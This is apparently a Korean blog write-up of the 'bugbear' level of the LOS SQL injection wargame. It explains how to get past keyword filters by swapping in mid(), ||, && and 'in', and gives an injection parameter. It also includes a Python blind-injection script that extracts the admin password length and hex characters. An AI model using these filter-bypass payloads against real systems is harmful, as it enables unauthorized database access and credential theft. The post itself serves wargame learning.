Web/LOS

LOS - bugbear

cloudnaaam 2024. 9. 19. 00:16

13번째 문제 bugbear다.

 

substr ascii = or and like 0x 가 모두 필터링 되어 있다.

 

substr() 은 mid() 로

or and 는 || && 로

= 과 like 모두 필터링하기 때문에 in 구문을 사용해주었다.

------------( in 구문은 파이썬의 in 을 생각하면 이해하기 쉽다.) ------------

 

또한 ord() 함수도 같이 필터링되기 때문에 hex() 함수를 이용해서 풀었다.

 

따라서

pw=1&no=0%09||%09id%09in%09("admin");--%09-

를 넣으면

쿼리를 뚫었다.

 

import requests

php = '세션값'
pl = 0

for i in range(1,10):
    r = requests.get(url, params={'pw':'0','no':f'1\t||\tid\tin\t("admin")\t&&\tlength(pw)\tin\t({i});--\t-'},cookies={'PHPSESSID':php})
    if 'Hello admin' in r.text:
        print(f'password length --> {i}')
        pl = i
        break

for i in range(1,pl+1):
    for j in range(1,3):
        for l in range(1,16):
            a = hex(l).split('0x')[1]
            r = requests.get(url, params={'pw':'1','no':f'1\t||\tid\tin\t("admin")\t&&\tmid(hex(mid(pw,{i},1)),{j},1)\tin\t({a});--\t-'},cookies={'PHPSESSID':php})
            if 'Hello admin' in r.text:
                print(f'{i}{j}번째 --> {a}')
 

위 코드 결과로 아래 값들이 나와서 

chr(int('0x35',16))+chr(int('0x32',16))+chr(int('0x64',16))+chr(int('0x63',16))+chr(int('0x33',16))+chr(int('0x39',16))+chr(int('0x39',16))+chr(int('0x31',16))

이렇게 문자열로 다시 바꿔주었다.

 

풀었다!

'Web > LOS' 카테고리의 다른 글

LOS - assassin  (0) 2024.10.18
LOS - giant  (0) 2024.10.18
LOS - darkknight  (0) 2024.09.17
LOS - golem  (1) 2024.09.17
LOS - skeleton  (0) 2024.09.17